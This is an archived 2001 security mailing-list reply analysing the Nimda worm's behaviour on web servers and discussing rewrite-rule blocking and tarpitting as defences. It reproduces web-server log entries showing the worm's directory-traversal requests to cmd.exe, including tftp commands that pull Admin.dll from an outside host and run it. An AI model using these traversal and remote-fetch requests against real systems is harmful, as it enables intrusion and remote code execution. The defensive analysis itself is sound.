RE: Anyone????? FW: Concept Virus(CV) V.5 - Quick analysis update

From: Michael Halls (mhallsat_private)
Date: Wed Sep 19 2001 - 13:21:20 PDT

  • Next message: Bryan Andersen: "Nimda Probes by Hour"

    On Wed, 19 Sep 2001, George Milliken wrote:
    
    > Maybe something like a rewrite rule
    >
    > RewriteEngine	On
    > RewriteRule	^.*/cmd.exe.*	[FL]
    > RewriteRule	^.*/root.exe.*	[FL]
    >
    > This will send "forbidden" to systems trying those URLs and will stop
    > rewrite processing.
    >
    
    Actually this may increase the load to those servers.  When the worm's
    probe recieves anything other than a 404 (not found) it makes several other
    requests to the server to exploit the machines.  It first trys to copy the
    Admin.dll to the c:, d:, and e: drives:
    
    216.156.1.151 - - [19/Sep/2001:12:30:13 -0700] "GET
    /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 51 "-" "-"
    216.156.1.151 - - [19/Sep/2001:12:31:28 -0700] "GET
    /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20216.22.197.29%20GET%20Admin.dll%20c:\Admin.dll
    HTTP/1.0" 200 51 "-" "-"
    216.156.1.151 - - [19/Sep/2001:12:32:43 -0700] "GET
    /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20216.22.197.29%20GET%20Admin.dll%20d:\Admin.dll
    HTTP/1.0" 200 51 "-" "-"
    216.156.1.151 - - [19/Sep/2001:12:33:58 -0700] "GET
    /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20216.22.197.29%20GET%20Admin.dll%20e:\Admin.dll
    HTTP/1.0" 200 51 "-" "-"
    
    The worm then attempts to execute the Admin.dll
    
    216.156.1.151 - - [19/Sep/2001:12:35:13 -0700] "GET
    /scripts/..%c1%1c../Admin.dll HTTP/1.0" 200 51 "-" "-"
    
    This has the effect of increasing the traffic about 5 fold.
    
    The worm also will continue to probe/exploit the machine after it gets a
    "hit" so a machine that returns 403 (forbidden) for each of the 16 attacks
    would get about 80 hits to their website from each machine.  Playing
    around with some cgi scripts that tarpit requests it looks like the worm's
    tcp connections time out after 1 minute 30 seconds without a response.  By
    sleeping my script for about 1 minute 15 seconds I can hold a machine in
    my "tarpit" for about an hour and a half.
    
    Does anybody know if this thing is single threaded?
    
    
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